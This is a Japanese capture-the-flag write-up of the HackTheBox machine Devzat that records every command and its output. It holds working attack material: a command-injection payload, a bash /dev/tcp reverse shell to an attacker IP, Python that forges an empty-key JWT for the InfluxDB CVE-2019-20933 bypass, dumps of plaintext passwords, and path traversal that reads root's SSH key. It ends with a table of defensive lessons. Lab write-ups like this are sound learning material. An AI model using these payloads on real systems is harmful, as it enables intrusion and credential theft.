HackTheBox: Devzat — 全実行コマンド・実行結果レポート
Nmap スキャン
22 / 80 / 8000(devchat)
→
22 / 80 / 8000(devchat)
.git 露出発見
pets.devzat.htb
→
pets.devzat.htb
Go exec.Command 注入
species パラメータ
→
species パラメータ
patrick シェル取得
→
CVE-2019-20933
InfluxDB JWT 認証バイパス
→
InfluxDB JWT 認証バイパス
catherine 平文パスワード
→
user.txt ✓
→
devchat dev(8443)
/file パストラバーサル
→
/file パストラバーサル
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン & バージョンスキャン
BASH
nmap -p- --min-rate 5000 -oN nmap/allports.txt 10.129.136.15 nmap -sV -sC -p 22,80,8000 -oN nmap/scripts.txt 10.129.136.15
RESULT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open ssh Golang x/crypto/ssh server (protocol 2.0)
Service Info: Host: devzat.htb; OS: Linux
🚨
重要発見: TCP 8000 は通常の OpenSSH ではなく Go 言語製の SSH サーバー
(devchat)。ボックス名の通り「devzat」という SSH 経由チャットアプリケーションが
稼働している。80 は
devzat.htb へリダイレクトするため /etc/hosts
に追記する。
devzat の SSH チャットに接続してみる
BASH
ssh -p 8000 anyname@devzat.htb
RESULT
Welcome to the chat. There are no more users devbot: anyname has joined the chat
ℹ️
任意のユーザー名で入室でき、チャットとして機能する。
patrick や
catherine など既知アカウント名で接続すると
Nickname reserved for local useと拒否される
(= localhost 接続のみ許可されたローカル専用アカウント名と判明)。
バーチャルホスト探索 → pets.devzat.htb
BASH
wfuzz -u http://devzat.htb -H 'Host: FUZZ.devzat.htb' \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 26
RESULT
000003745: 200 20 L 35 W 510 Ch "pets"
ℹ️
pets.devzat.htb を /etc/hosts に追記。アクセスすると
ペットの一覧・追加フォームを持つ Go 製 Web アプリ (Pet Inventory) が見つかる。
.git 露出の発見と回収
BASH
nmap -sCV -p 80 pets.devzat.htb
# → http-git: 10.129.136.15:80/.git/ Git repository found!
curl -s -o /dev/null -w "%{http_code}\n" http://pets.devzat.htb/.git/ # 200 (directory listing 有効)
wget -r http://pets.devzat.htb/.git/
cd pets.devzat.htb && git reset --hard HEAD
RESULT
HEAD is now at ef07a04 back again to localhost only main.go go.mod go.sum petshop(バイナリ) characteristics/ static/ ...
ℹ️
.git ディレクトリの listing が有効なため、git-dumper 等を使わず
単純な wget -r でリポジトリ全体を回収できる。
PHASE 2
ソース解析 & Go exec.Command コマンドインジェクション
main.go の脆弱な loadCharacter() 関数
NOTE (main.go)
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
...
return string(stdoutStderr)
}
func addPet(w http.ResponseWriter, r *http.Request) {
...
addPet.Characteristics = loadCharacter(addPet.Species) // 検証なし
Pets = append(Pets, addPet)
...
}
🚨
species フィールドはユーザー入力そのまま文字列連結され
sh -c "cat characteristics/<species>" として実行される。
バリデーションが一切無いため、; でコマンドを追加注入できる。
コマンドインジェクションの確認
BASH
curl -X POST http://pets.devzat.htb/api/pet \
-d '{ "name": "test", "species": "cat; id" }' \
-H "Content-Type: application/json"
curl -s http://pets.devzat.htb/api/pet | python3 -m json.tool
RESULT
{
"name": "test",
"species": "cat; id",
"characteristics": "Having a cat is like living in a shared apartment...\nuid=1000(patrick) gid=1000(patrick) groups=1000(patrick)\n"
}
✅
コマンドインジェクション成立確認!
GET /api/pet で
ペット一覧(JSON)が返るため、注入したコマンドの標準出力が
characteristics フィールドにそのまま表示される。
リバースシェル取得 & SSH 鍵回収
BASH
# リスナー起動
nc -lnvp 4444
# リバースシェルペイロードを species に注入(HTTPハンドラはシェルが終了するまで
# ブロックし続けるためレスポンスはタイムアウトするが無視してよい)
curl -X POST http://pets.devzat.htb/api/pet \
-d '{ "name": "rev", "species": "cat; bash -c \"bash -i >& /dev/tcp/10.10.15.201/4444 0>&1\"" }' \
-H "Content-Type: application/json"
RESULT (nc リスナー側)
connect to [10.10.15.201] from (UNKNOWN) [10.129.136.15] 57394
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
patrick@devzat:~/pets$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick)
BASH
patrick@devzat:~/pets$ cat /home/patrick/.ssh/id_rsa
✅
patrick のシェルから
~/.ssh/id_rsa がそのまま読み取れたため、
以後は不安定なリバースシェルではなく 安定した SSH アクセスに切り替える。
PHASE 3
CVE-2019-20933: InfluxDB JWT 認証バイパス
localhost 限定サービスの発見
BASH
patrick@devzat:~$ netstat -tnlp
RESULT
tcp 127.0.0.1:8443 LISTEN - (謎の devzat 開発版インスタンス)
tcp 127.0.0.1:5000 LISTEN 930/./petshop (pets アプリ本体)
tcp 127.0.0.1:8086 LISTEN - (InfluxDB)
tcp6 :::8000 LISTEN 937/./devchat (devzat 本番チャット)
BASH
ssh -p 8000 localhost # devzat チャットのローカル専用アカウント間の履歴を閲覧
RESULT
admin: So I setup the influxdb for you as we discussed earlier in business meeting. patrick: Cool 👍 admin: Be sure to check it out and see if it works for you, will ya?
ℹ️
devzat のチャット履歴に InfluxDB を admin が用意したという会話が残っており、
8086 番ポートが InfluxDB だと裏付けられる。
バージョン確認 & CVE 特定
BASH
curl -v http://localhost:8086 2>&1 | grep Influxdb-Version
RESULT
< X-Influxdb-Version: 1.7.5
🚨
CVE-2019-20933 — InfluxDB < 1.7.6 の認証バイパス脆弱性。
JWT Bearer 認証を検証する
services/httpd/handler.go が、
JWT の署名鍵(SharedSecret)が空文字列であっても検証を通してしまう実装バグ。
exp と username クレームさえあれば、空文字列を鍵として
HS256 署名した自作 JWT で任意ユーザーとして認証できる。
空鍵 HS256 JWT の作成 & 認証バイパス
PYTHON (JWT 手動生成、PyJWT 不要)
import base64, hashlib, hmac, json, time
def b64url(data: bytes) -> bytes:
return base64.urlsafe_b64encode(data).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(",", ":")).encode())
payload = b64url(json.dumps({"username": "admin", "exp": time.time() + 10000},
separators=(",", ":")).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest() # ← 鍵は空文字列!
token = (signing_input + b"." + b64url(sig)).decode()
print(token)
BASH
patrick@devzat:~$ curl -G 'http://localhost:8086/query?pretty=true' \ --data-urlencode "q=SHOW DATABASES" \ -H "Authorization: Bearer <上記トークン>"
RESULT
{
"results": [{ "series": [{ "name": "databases",
"values": [ ["devzat"], ["_internal"] ] }] }]
}
✅
認証バイパス成功! 空文字列を鍵に署名しただけの自作 JWT が
Bearer 認証として受理された。
user テーブルから catherine の平文パスワードを窃取
BASH
curl -G --data-urlencode 'q=select * from "user"' -d 'db=devzat' \ localhost:8086/query?pretty=true -H "Authorization: Bearer <token>"
RESULT
"columns": ["time","enabled","password","username"],
"values": [
[ "...", false, "WillyWonka2021", "wilhelm" ],
[ "...", true, "woBeeYareedahc7Oogeephies7Aiseci", "catherine" ],
[ "...", true, "RoyalQueenBee$", "charles" ]
]
✅
DB の平文パスワードは OS ユーザーのログインパスワードとしてそのまま使い回されている。
PHASE 4
su – catherine → user.txt
catherine へ昇格し user.txt を取得
BASH
patrick@devzat:~$ su - catherine Password: woBeeYareedahc7Oogeephies7Aiseci catherine@devzat:~$ cat user.txt
RESULT
uid=1001(catherine) gid=1001(catherine) groups=1001(catherine)
940adcb0035f9cebbb4f4f36ecb1ec40
user.txt — catherine@devzat
940adcb0035f9cebbb4f4f36ecb1ec40
PHASE 5
devchat 開発版インスタンス(8443)の /file パストラバーサル
catherine のみが読めるチャット履歴から手掛かり
BASH
catherine@devzat:~$ ssh -p 8000 localhost
RESULT
patrick: I implemented it. If you want to check it out you could connect to
the local dev instance on port 8443.
patrick: You'll need a password I gave you last time.
patrick: I left the source for your review in backups.
ℹ️
127.0.0.1:8443 は devzat の開発中バージョンを動かすインスタンスで、
パスワード保護された新機能があるとわかる。ソースは
/var/backups に
あるとのヒントも得られる。
開発版ソースの入手 & diff で file コマンドを発見
BASH
catherine@devzat:~$ ls -l /var/backups/devzat-*.zip cp /var/backups/devzat-dev.zip /tmp/; chmod 666 /tmp/devzat-dev.zip # ローカルに scp で回収後、本番版(devzat-main.zip)と diff -burN
NOTE (commands.go の新規追加コード)
func fileCommand(u *user, args []string) {
...
pass := args[1]
if pass != "CeilingCatStillAThingIn2021?" { // ハードコードされたパスワード
u.system("You did provide the wrong password")
return
}
cwd, _ := os.Getwd()
printPath := filepath.Join(cwd, args[0]) // ← 検証なしのパス結合
file, _ := os.Open(printPath)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
u.system(scanner.Text()) // ファイル内容をチャットに出力
}
}
🚨
新機能
/file <path> <password> は、パスワードさえ一致すれば
プロセスの実行ディレクトリ(root権限で起動、cwd=/root/devzat)を基準に
任意パスのファイル内容をチャットに垂れ流す。../ で親ディレクトリへ
パストラバーサル可能。
8443 番へ接続し /file で root の SSH 秘密鍵を読む
BASH
# どのユーザー名で繋いでもよい。ただし端末サイズが伝わらない生パイプ入力だと # devchat の TUI (bubbletea) がクラッシュするため TERM と端末サイズを明示する。 export TERM=xterm-256color; stty rows 50 cols 200 TERM=xterm-256color ssh -tt -p 8443 -o StrictHostKeyChecking=no anyname@localhost
BASH (chat 内)
/file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
RESULT
[SYSTEM] -----BEGIN OPENSSH PRIVATE KEY----- [SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW... [SYSTEM] ... [SYSTEM] -----END OPENSSH PRIVATE KEY-----
⚠️
ハマりどころ: ローカル端末(TERM/画面サイズ)を伝えない状態で
SSH パイプ越しにメッセージを送ると、
start.sh が
until ./devchat; do respawn; done という自動再起動ループに
なっているにもかかわらず、こちら側は応答を受け取れずハングしたように見える。
TERM=xterm-256color と stty rows/cols を明示し、
本物の PTY を要求する対話的 SSH セッション経由で送ることで安定して動作する。
PHASE 6
root 秘密鍵で SSH → root.txt
回収した秘密鍵で root として SSH ログイン
BASH
chmod 600 devzat_root_id_rsa ssh -i devzat_root_id_rsa root@10.129.136.15 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) 6affa96b122eb6dca810894868915b52
✅
root権限取得成功! パストラバーサルで抜き出した鍵が
そのまま
/root/.ssh/authorized_keys に対応する秘密鍵として機能する。
root.txt — root@devzat
6affa96b122eb6dca810894868915b52
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — catherine@devzat
940adcb0035f9cebbb4f4f36ecb1ec40
root.txt — root@devzat
6affa96b122eb6dca810894868915b52
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| .git 露出 | pets.devzat.htb | ソースコード漏洩 | Medium | directory listing 有効な .git を wget -r で回収し脆弱箇所を特定 |
| Go exec.Command 注入 | pets アプリ /api/pet species パラメータ | リモートコード実行 (patrick) | Critical | species を “cat; <任意コマンド>” にしてシェルコマンドを追加注入 |
| CVE-2019-20933 | InfluxDB 1.7.5 (127.0.0.1:8086) | 認証バイパス・DB内容窃取 | Critical | 空文字列を鍵に HS256 署名した JWT で任意ユーザーとして認証 |
| file コマンドのパストラバーサル | devchat 開発版インスタンス (127.0.0.1:8443) | 任意ファイル読み取り (root権限) | High | ハードコードされたパスワード通過後、../ でプロセス実行ディレクトリ外のファイルを読取 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + wfuzz vhost + .git 露出発見 | pets.devzat.htb、main.go ソース入手 |
| 2 | コマンドインジェクション | species パラメータへの sh -c 注入 | patrick リバースシェル + SSH 秘密鍵 |
| 3 | InfluxDB 認証バイパス | CVE-2019-20933 空鍵 JWT | catherine 平文パスワード |
| 4 | 権限昇格1 | su – catherine | user.txt 取得 |
| 5 | 開発版解析 | backups の zip diff で /file 発見 | ハードコードパスワード CeilingCatStillAThingIn2021? |
| 6 | 権限昇格2 | devchat dev(8443) /file パストラバーサル | root.txt 取得(root SSH鍵) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 本番 Web サーバーの .git ディレクトリが公開され、かつ directory listing まで有効 | Apache/Nginx 設定で .git への直接アクセスを拒否し、directory listing も無効化する。デプロイ時に .git をドキュメントルート外へ配置する。 |
| ユーザー入力をそのまま OS コマンドに文字列連結している | exec.Command には固定引数のみを渡し、ユーザー入力はホワイトリスト検証(既知のファイル名一覧との照合)を必ず行う。 |
| 脆弱なバージョンの InfluxDB (CVE-2019-20933) を使用 | InfluxDB 1.7.6 以降へアップグレードする。DB ポートは localhost限定であっても、侵入後の横展開に使われる前提でパッチ管理を徹底する。 |
| DB のパスワードを OS ログインパスワードとして使い回している | サービスごとに一意なパスワードを使用する。 |
| 開発中の新機能(/file コマンド)がテスト用ハードコードパスワードのまま本番同様の権限(root)で稼働 | 開発版インスタンスは本番と隔離し、最小権限で実行する。ハードコードされた認証情報や未完成のデバッグ機能を本番相当の環境に残さない。 |

